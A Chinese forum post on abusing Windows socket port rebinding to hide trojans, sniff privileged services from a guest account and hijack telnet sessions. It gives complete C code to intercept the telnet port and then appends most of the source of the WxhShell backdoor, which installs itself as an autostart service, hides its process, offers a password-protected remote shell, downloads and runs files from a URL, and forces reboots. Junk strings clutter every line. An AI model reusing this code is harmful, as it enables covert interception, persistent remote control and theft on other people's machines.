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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D$C>ZF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \Eq,4-q  
HUF],[N  
  saddr.sin_family = AF_INET; Dqss/vwV  
yo\R[i(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Hc?8Q\O:  
I'&#pOB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f4A;v|5_  
VyQ@. Lm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rG7E[kii  
8K: RoR  
  这意味着什么?意味着可以进行如下的攻击: 8 MIn~  
t%@sz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >*DR>U  
N?cvQR{r9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4n55{ ?Z  
=T_E]>FF9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3khsGD@  
>R9Q|   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t8vR9]n  
GyU9,>|~T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <2b&AF{En  
{wUbr^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OIi8x? .~]  
G- _h 2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [bE-Uu7q5P  
9o)sSaTx=  
  #include  |tK_Bn  
  #include 6"3-8orj   
  #include UB%Zq1D|t  
  #include    UZcsMMKH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X<:B"rPuK  
  int main() ^HS;\8Xvb  
  { TcW-pY<N  
  WORD wVersionRequested; .h({P#QT  
  DWORD ret; c@SNbY4}%  
  WSADATA wsaData; xIt'o(jQH  
  BOOL val; e"=/zZH3  
  SOCKADDR_IN saddr; |nOqy&B  
  SOCKADDR_IN scaddr; @;\2 PD  
  int err; ++9?LH4S4  
  SOCKET s; IP?15l w  
  SOCKET sc; u{| Q[hf[  
  int caddsize; x*`S>_j27=  
  HANDLE mt; [z:.52@!  
  DWORD tid;   |}^me7C,[  
  wVersionRequested = MAKEWORD( 2, 2 ); ko-3`hX`  
  err = WSAStartup( wVersionRequested, &wsaData ); Ux[2 +Cf  
  if ( err != 0 ) { 0o2*X|i(  
  printf("error!WSAStartup failed!\n"); I |PEC-(  
  return -1; 7Shau%2C  
  } (-}:'5|Yj  
  saddr.sin_family = AF_INET; GtuA94=!V&  
   _sp, ,gz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x3>ZO.Q  
IOfxx>=3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  W8blHw"  
  saddr.sin_port = htons(23); lF*}l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5taR[ukM  
  { rCK   
  printf("error!socket failed!\n"); N_:H kI6  
  return -1; LoUHStt  
  } 7`s* {  
  val = TRUE; C33BP}c]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 us5<18 M5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |mMK9OEu  
  { !Y8+ Z&^2  
  printf("error!setsockopt failed!\n"); bUzo>fm_  
  return -1; R\a6 #u3  
  } `w6*(t:T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {})d}dEC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u1}/SlCp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lGlh/B%  
%K`th&331  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (U{,D1?  
  { !"g2F}n  
  ret=GetLastError(); t!8(IR  
  printf("error!bind failed!\n"); QkFB \v  
  return -1; \?D~&d,a=  
  } oSf6J:?*e  
  listen(s,2); ]x1;uE?1J  
  while(1) `K7UWtp  
  { QO/nUl0E  
  caddsize = sizeof(scaddr); LULRi#n  
  //接受连接请求 3jqV/w[-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2M+}o"g  
  if(sc!=INVALID_SOCKET) Z<jC,r  
  { ynZp|'b?<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DL*&e|:q  
  if(mt==NULL) R?3N><oh*  
  { !b"2]Qv  
  printf("Thread Creat Failed!\n"); Gw$Y`]ipy  
  break; %p(X*mVX  
  } !X5LgMw^;  
  } ~eZ]LW])  
  CloseHandle(mt); j5gL 67B  
  } ;=UkTn}N?l  
  closesocket(s); x MFo  
  WSACleanup(); M?d(-en  
  return 0; ae#Qeow`  
  }   vn+~P9SHQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) Kr'Yz!  
  { 7Y%Si5  
  SOCKET ss = (SOCKET)lpParam; &R))c|>OT&  
  SOCKET sc; a)8;P7  
  unsigned char buf[4096]; NI:3hfs  
  SOCKADDR_IN saddr; V}MRdt7  
  long num; K8JshF Ie  
  DWORD val; arc{:u.K  
  DWORD ret; uC! dy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r h c&#JS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KJ7-Vl>  
  saddr.sin_family = AF_INET; <c&Nm_)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d3]<'B:nb  
  saddr.sin_port = htons(23); 1d!TU=*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (@Kc(>(: Y  
  { _7;D0l  
  printf("error!socket failed!\n"); ,YBe|3  
  return -1; wu.>'v?y  
  } #0:rBKm,  
  val = 100; 9DmFa5E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fCbd]X  
  { 0}"'A[xE  
  ret = GetLastError(); i~LY  
  return -1; cR=o!2O  
  } @Hl+]arUh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )~CNh5z 6Y  
  { FEi@MJJ\e  
  ret = GetLastError(); !E6Q ED"  
  return -1; L1kA AR  
  } b"nD5r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T930tX6"h  
  {  Cwl:  
  printf("error!socket connect failed!\n"); \ cdns;  
  closesocket(sc); >uxAti\  
  closesocket(ss); ><qA+/4]_  
  return -1; tHEZuoi  
  } BdP+>Ij  
  while(1) /@1pm/>ZaN  
  { /z )Nz2W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4+Jf!ovS=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mzw:c#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3pe1"maP  
  num = recv(ss,buf,4096,0); ?1**@E0  
  if(num>0) >=86*U~  
  send(sc,buf,num,0); T@Z-;^aV  
  else if(num==0) x->+w Jm@s  
  break; \x|8  
  num = recv(sc,buf,4096,0); ]!uId#OH  
  if(num>0) DUwms"I,%  
  send(ss,buf,num,0); _Nh`-R%B)  
  else if(num==0) @SI,V8i  
  break; rN,T}M= 2  
  } Bh&dV%'  
  closesocket(ss); i]Bu7Fuu  
  closesocket(sc); kJ?AAPC  
  return 0 ; QQt4pDir>  
  } %a]Imsm  
L#S|2L_hC  
$EL:Jx2<  
========================================================== M^lP`=sSv  
MpTOC&NG%s  
下边附上一个代码,,WXhSHELL :x3xeVt Y  
{&a6<y#-  
========================================================== y&V'GhW!dd  
K)^8 :nt  
#include "stdafx.h" i1K$~  
PsZ>L  
#include <stdio.h> u'^kpr`y  
#include <string.h> GE? \Vm  
#include <windows.h> >I',%v\?@  
#include <winsock2.h> w&e3#p  
#include <winsvc.h> x<7?  
#include <urlmon.h> l&5Tft  
bn7g!2  
#pragma comment (lib, "Ws2_32.lib") !L<z(dV|(  
#pragma comment (lib, "urlmon.lib") bz1AmNZG  
<+<Nsza  
#define MAX_USER   100 // 最大客户端连接数 K & %8w  
#define BUF_SOCK   200 // sock buffer XM#nb$gl  
#define KEY_BUFF   255 // 输入 buffer 8A}<-?>  
"x nULQK  
#define REBOOT     0   // 重启 x[u6_6=q9  
#define SHUTDOWN   1   // 关机 =\mJ5v"hA  
P#V}l'j(<a  
#define DEF_PORT   5000 // 监听端口 QMy1!:Z&!  
>nvnU`\  
#define REG_LEN     16   // 注册表键长度 /,~g"y.;,  
#define SVC_LEN     80   // NT服务名长度 T^{=cx9x9  
4dm0:, G  
// 从dll定义API 0{I-x^FI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /x4L,UJ= P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X4+H8],)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \#IKirf?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !R@jbM  
7#SfuZ0@  
// wxhshell配置信息 x 0K#-  
struct WSCFG { 5m;BL+>YE  
  int ws_port;         // 监听端口 Z>l<.T"t'  
  char ws_passstr[REG_LEN]; // 口令 73nM9  
  int ws_autoins;       // 安装标记, 1=yes 0=no =pTTXo  
  char ws_regname[REG_LEN]; // 注册表键名 ))nTd=  
  char ws_svcname[REG_LEN]; // 服务名 ,6o tm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i g .  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gdg``U;)p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gI"cZ h3}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -f1lu*3\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >&k`NXS|V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `m #i|8  
YLS*uXB&.  
}; @= =)  
a7=lZZ?  
// default Wxhshell configuration o wI:Qs_/4  
struct WSCFG wscfg={DEF_PORT, N 1.fV-  
    "xuhuanlingzhe", hm k ~  
    1, 7 toIbC#  
    "Wxhshell", /a9CqK  
    "Wxhshell", mIPDF1= )  
            "WxhShell Service", id" l"  
    "Wrsky Windows CmdShell Service", \ H#"  
    "Please Input Your Password: ", UJ(UzKq8  
  1, |n^rI\ p%  
  "http://www.wrsky.com/wxhshell.exe", Pc7p2  
  "Wxhshell.exe" =''b`T$  
    }; O%6D2d  
 cV_-Bcb  
// 消息定义模块 Oi]B%Uxy=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t;-F]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *B84Y.df  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )4.-6F7U?  
char *msg_ws_ext="\n\rExit."; z-:>[Sn  
char *msg_ws_end="\n\rQuit."; 2@@evQ  
char *msg_ws_boot="\n\rReboot..."; Rha|Rk~  
char *msg_ws_poff="\n\rShutdown..."; \=`jo$S  
char *msg_ws_down="\n\rSave to "; A)Rh Bi  
JG7K-W|!c  
char *msg_ws_err="\n\rErr!"; -M_>]ubG  
char *msg_ws_ok="\n\rOK!"; 7+IRI|d  
#0\* 8 6  
char ExeFile[MAX_PATH]; @K}h4Yok  
int nUser = 0; ;t,v/(/3  
HANDLE handles[MAX_USER]; L6;'V5Mg72  
int OsIsNt; K5t.OAA:  
F?0Q AA  
SERVICE_STATUS       serviceStatus; {E7STLQ_%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }T AG7U*  
pd & HC  
// 函数声明 i[ws%GfEv  
int Install(void); N8x.D-=gG  
int Uninstall(void); m{~L Fhhd1  
int DownloadFile(char *sURL, SOCKET wsh); 6`bR' 0D  
int Boot(int flag); mEkYT  
void HideProc(void); H* +7{;$  
int GetOsVer(void); eT]*c?"  
int Wxhshell(SOCKET wsl); !(viXV5  
void TalkWithClient(void *cs); jUgx ;=  
int CmdShell(SOCKET sock); 6l &!4r@}  
int StartFromService(void); zK{}   
int StartWxhshell(LPSTR lpCmdLine); G007[|  
3(vm'r&5n>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R*XZPzg%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 79-5 0}A  
E*fa&G~s )  
// 数据结构和表定义 !c-MC|  
SERVICE_TABLE_ENTRY DispatchTable[] = ;Ru[^p.{  
{ l~Ka(*[!U  
{wscfg.ws_svcname, NTServiceMain}, T!HAE#xC  
{NULL, NULL} kC6Y?g  
}; rmtCCPF?0  
gs0`nysM#  
// 自我安装 nZc6 *jiz  
int Install(void) qPWf=s7!  
{ U>m{B|H  
  char svExeFile[MAX_PATH]; ^N 4Y*NtV7  
  HKEY key; MpvGF7H  
  strcpy(svExeFile,ExeFile); ^tWSu?9  
bAuiMw7!  
// 如果是win9x系统,修改注册表设为自启动 _`0DO4IU  
if(!OsIsNt) { +>Gw)|oX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SW+;%+`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Q{9AoQ3'  
  RegCloseKey(key); ~ Fl\c-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [KbLEMrPba  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jO|`aUY Tf  
  RegCloseKey(key); ?i\V^3S n$  
  return 0; D`X<b4e8/  
    } _bg Zl  
  } kM=&Tfpj  
} -vk/z+-^!  
else { @~N"MsF3  
"wKJ8  
// 如果是NT以上系统,安装为系统服务 0Q8iX)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _5O~ ]}  
if (schSCManager!=0) /h`gQyGuY  
{ -eS r  
  SC_HANDLE schService = CreateService WX_g  
  ( fb^R3wd$ff  
  schSCManager, >9#) obw  
  wscfg.ws_svcname, _%B,^0;C  
  wscfg.ws_svcdisp, c'Z)uquvP  
  SERVICE_ALL_ACCESS, AeN:wOm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MBKF8b'k  
  SERVICE_AUTO_START, hb/Z{T'   
  SERVICE_ERROR_NORMAL, ui|6ih$+  
  svExeFile, ) .' + {  
  NULL, b E40^e  
  NULL, M 0RA&  
  NULL, Zp6VH  
  NULL, TeR bW  
  NULL p} eO  
  ); ZC<EPUV(  
  if (schService!=0) g/P1lQ)  
  { @KLX,1K  
  CloseServiceHandle(schService); U7f o4y1}  
  CloseServiceHandle(schSCManager); /7,@q?v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OPqhdqo  
  strcat(svExeFile,wscfg.ws_svcname); RF4B ]Gqd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @ptrF pSL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m] p]J_6A  
  RegCloseKey(key); .RmoO\ ,Gm  
  return 0; CD^@*jH9"  
    } Xa$%`  
  }  w+5OI9  
  CloseServiceHandle(schSCManager); aYHs35  
} HL>l.IG?  
} VAyAXN~  
pI>GusXg  
return 1; 4mX]JH`UTe  
} bmKvvq  
BrzTOkeyG  
// 自我卸载 ybv< 1  
int Uninstall(void) l-h[I>TW  
{ UX|3LpFX&I  
  HKEY key; _ |HA\!  
78?{;iNv  
if(!OsIsNt) { u3 &# UN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p#r qe<Ua  
  RegDeleteValue(key,wscfg.ws_regname); G2@'S&2@s  
  RegCloseKey(key); ATmyoN2@>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I {%( G(  
  RegDeleteValue(key,wscfg.ws_regname); 19oyoi"  
  RegCloseKey(key); o`'4EVw*  
  return 0; k{ZQM  
  } `7V1 F.\  
} 5C*- v,hF  
} uLI;_,/:  
else { 07ppq?,y  
qk0cf~ gz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .O+,1&D5  
if (schSCManager!=0) Lc-Wf zT  
{ nU#K=e =W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &Fk|"f+  
  if (schService!=0) mfDt_Iq  
  { R7FI{ A  
  if(DeleteService(schService)!=0) { eU]I !pI<  
  CloseServiceHandle(schService); f&] !;)  
  CloseServiceHandle(schSCManager); ^EmePkPI  
  return 0; s,Fts3+  
  } QNXS.!\P  
  CloseServiceHandle(schService); * $1F|G  
  } k@[[vj|W  
  CloseServiceHandle(schSCManager); #}tdA( -  
} {!.w}  
} " Z dI~  
wg:\$_Og  
return 1; ps/|^8aGZ  
} Q(BZg{  
<l+hcYam  
// 从指定url下载文件 /Vx EqIK  
int DownloadFile(char *sURL, SOCKET wsh) ##1/{9ywy  
{ E^pn-rB  
  HRESULT hr; {q~N$"#  
char seps[]= "/"; ?1eu9;q\*  
char *token; (4rHy*6  
char *file; `\=~ $&vjC  
char myURL[MAX_PATH]; E?Qg'|+_  
char myFILE[MAX_PATH]; '#QZhz(+  
'S=eW_ 0/  
strcpy(myURL,sURL); <v\x<ul6  
  token=strtok(myURL,seps); N5xI;UV9'  
  while(token!=NULL) ]2[\E~^KU  
  { " #U-*Z7  
    file=token; 8CvNcO;H0  
  token=strtok(NULL,seps); X|R"8cJ  
  } q)YHhH\  
H87k1^}HV  
GetCurrentDirectory(MAX_PATH,myFILE); {L M Q  
strcat(myFILE, "\\"); _skE\7&>X  
strcat(myFILE, file); ]^@m $O  
  send(wsh,myFILE,strlen(myFILE),0); ^j1G08W  
send(wsh,"...",3,0); O8LIKD_I[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N)KN!!  
  if(hr==S_OK) B!)Tytm9u  
return 0; ZiaFByLy  
else 98UI]? 4  
return 1; K_qA[n  
G12o?N0p  
} h6tYy_(G  
EKmn@S-&P  
// 系统电源模块 tS,AS,vy]  
int Boot(int flag) ~ D/1U)kt  
{ 5R1? jlm  
  HANDLE hToken; -"bC[WN  
  TOKEN_PRIVILEGES tkp; l o- 42)  
@ xTVX'$  
  if(OsIsNt) { bhfC2@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %V#? 1{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wiM4,  
    tkp.PrivilegeCount = 1; t^~itlE{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P|;f>*^Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m;>:mwU  
if(flag==REBOOT) { |HwEwL+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z07n>|WF-  
  return 0; w@a|_?  
} xhMAWFg|  
else { >.hDt9@4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C!Fi &~  
  return 0; hE4qs~YB!  
} 0J;Qpi!u2v  
  } (Hs,Tj  
  else { x l=i_  
if(flag==REBOOT) { (!9+QXb'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1_M}Dc+J  
  return 0; e&NJj:Ph*  
} =pnQ?2Og  
else { 9N6 \Ou~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7{NH;U t  
  return 0; SES-a Mi3  
} g)IW9q2  
} $1k@O@F(4  
[Y^h)k{-$  
return 1; \\`(x:\  
} 2M+ *VO  
1L=)93,M  
// win9x进程隐藏模块 Fn{Pmo*rs  
void HideProc(void) Qr?1\H:Lq  
{ f#gV>.P;h\  
4"\%/kG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZM [Z9/S8  
  if ( hKernel != NULL ) V$dhiP z  
  { y!_8m#n S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A!R'/m'VG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a`LkP%  
    FreeLibrary(hKernel); :Vw{ l B  
  } ieXi6^M$  
r4b-.>w  
return; |AS<I4+&  
} >G As&\4hs  
g1Osd7\o  
// 获取操作系统版本 //%#?JJV  
int GetOsVer(void) z :u)@>6D1  
{ `Io#440;  
  OSVERSIONINFO winfo; QH?sx k2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^@Z8 _PZo  
  GetVersionEx(&winfo); A,3qjd,$ c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~Bi%8G  
  return 1; )RQQhB  
  else _z9~\N/@[  
  return 0; J5Ti@(G5V  
} vb}c)w dp?  
iU(B#ohW"  
// 客户端句柄模块 3jHg9M23[^  
int Wxhshell(SOCKET wsl) PX`xr1o  
{ dXsD%sG @  
  SOCKET wsh; DgB;6Wl  
  struct sockaddr_in client; :39arq  
  DWORD myID;  2IGU{&s  
m7i(0jd +  
  while(nUser<MAX_USER) Jm"W+! E  
{ U]g9t<jD  
  int nSize=sizeof(client); U} w@,6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0|8cSE< i  
  if(wsh==INVALID_SOCKET) return 1; *vq75k$7  
A;o({9VH`Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KL$>j/qT  
if(handles[nUser]==0) JVr8O`>T  
  closesocket(wsh); O- LwX >  
else I&<'A [vHl  
  nUser++; PWkSl  
  } +@*>N;$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ex skd}  
(]PH2<3t  
  return 0; ?CcX>R-/  
} S\!vDtD@  
B+Ft  >  
// 关闭 socket NytodVZ'3  
void CloseIt(SOCKET wsh) m9+?>/R  
{ afzx?ekdF  
closesocket(wsh); -  eIo  
nUser--; Hi*|f!,H?  
ExitThread(0); M9m~ck  
} M^>l>?#rl  
oK$Krrs0&  
// 客户端请求句柄 yrl7  
void TalkWithClient(void *cs) ?<Lm58p8  
{ Cpy&2o-%v  
L 4Z+8*  
  SOCKET wsh=(SOCKET)cs; ck3+A/ !z  
  char pwd[SVC_LEN]; 8Op^6rX4  
  char cmd[KEY_BUFF]; oN%zpz;OR  
char chr[1]; jicH94#(]  
int i,j; E'5KJn;_7  
;jN1n xF  
  while (nUser < MAX_USER) { J@}PySq  
A|YgA66M  
if(wscfg.ws_passstr) { b;#_?2c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?~E"!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *<6dB#' J  
  //ZeroMemory(pwd,KEY_BUFF); P#`M8k  
      i=0; zufsmY4P  
  while(i<SVC_LEN) { 8eYEi  
^S?f"''y3  
  // 设置超时 pU'>!<zGr  
  fd_set FdRead; )+=Kh$VbS  
  struct timeval TimeOut; X%kJ3{  
  FD_ZERO(&FdRead); MNb9~kM  
  FD_SET(wsh,&FdRead); mg@Ol"2  
  TimeOut.tv_sec=8; I,HtW),  
  TimeOut.tv_usec=0; SJc~E$5<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *+2_!=4V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HavlN}h  
 ;Q4,I[?%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9F?-zn;2s  
  pwd=chr[0]; ' i<4;=M&  
  if(chr[0]==0xd || chr[0]==0xa) { Vsw:&$  
  pwd=0; -.ZP<,?@F  
  break; ( ^@i(XQ  
  } );6f8H@G  
  i++; !.q 9:|oc  
    } `Syfl^9B  
u/-EVCHr y  
  // 如果是非法用户,关闭 socket $Bl51Vj N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :FtV~^Z  
} @:#J^CsM+'  
jYFmL_{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (_CvN=A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5>daWmD  
MSeg7/MF  
while(1) { tcsb]/my  
nvXjW@)`  
  ZeroMemory(cmd,KEY_BUFF); N5ZO pRH{  
\[.qN  
      // 自动支持客户端 telnet标准   q(^iT~}  
  j=0; o$Nhx_F  
  while(j<KEY_BUFF) { 9p3~WA/M@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w?^[*_Y  
  cmd[j]=chr[0]; J'7;+.s(  
  if(chr[0]==0xa || chr[0]==0xd) { cfa1"u""e  
  cmd[j]=0; x=Oy 6"  
  break; "VSx?74q  
  } S-Vj$asv!  
  j++; CI$z+ zN  
    } QRBx}!:NZ#  
K%mR=u#%&  
  // 下载文件 G)t-W %D&  
  if(strstr(cmd,"http://")) { (l-= /6-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nqUnDnP2c  
  if(DownloadFile(cmd,wsh)) ~D4l64  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q1x&Zm1v  
  else #{J~ km/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J` GL_@$q  
  }  JJ}DYv  
  else { SlR//h  
$ B&Zn Z?  
    switch(cmd[0]) { =#y;J(>~|  
  .udLMS/_  
  // 帮助 2gZp O9  
  case '?': { ;R#RdUFH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ckY#oRQ1  
    break; #Pf<2S  
  } c!7WRHJE_a  
  // 安装 Qg(;>ops  
  case 'i': { T@Izf X7  
    if(Install()) :?g+\:`/0j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J9*;Bqzim  
    else H{=G\N{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &,jUaC5I  
    break; \ f+;X  
    } KRT&]2  
  // 卸载  .nrbd#i-  
  case 'r': { =d^hiR!GN  
    if(Uninstall()) [Tbnfst  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W4d32+V  
    else EwFq1~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GuU-< *u(d  
    break; NFEr ,n  
    } {%9@{Q'T.s  
  // 显示 wxhshell 所在路径 xi "3NF%=  
  case 'p': { md'wre3  
    char svExeFile[MAX_PATH]; {x,)OgK!{  
    strcpy(svExeFile,"\n\r"); 0q-lyVZ^X  
      strcat(svExeFile,ExeFile); 0,DrVGa  
        send(wsh,svExeFile,strlen(svExeFile),0); 5= &2=  
    break; r2.w4RMFua  
    } r.zgLZ}3&V  
  // 重启 u$[8Zmgzz  
  case 'b': { dG5jhkPX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7R:Ij[dV  
    if(Boot(REBOOT)) K)J_q3qo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f7Nmvla[q  
    else { q 9xA.*  
    closesocket(wsh); W5`pQdk  
    ExitThread(0); J.4U;A5  
    } mKO~`Wq%@  
    break; H OWpTu(  
    } H2: Zda#  
  // 关机 +O 7( >a  
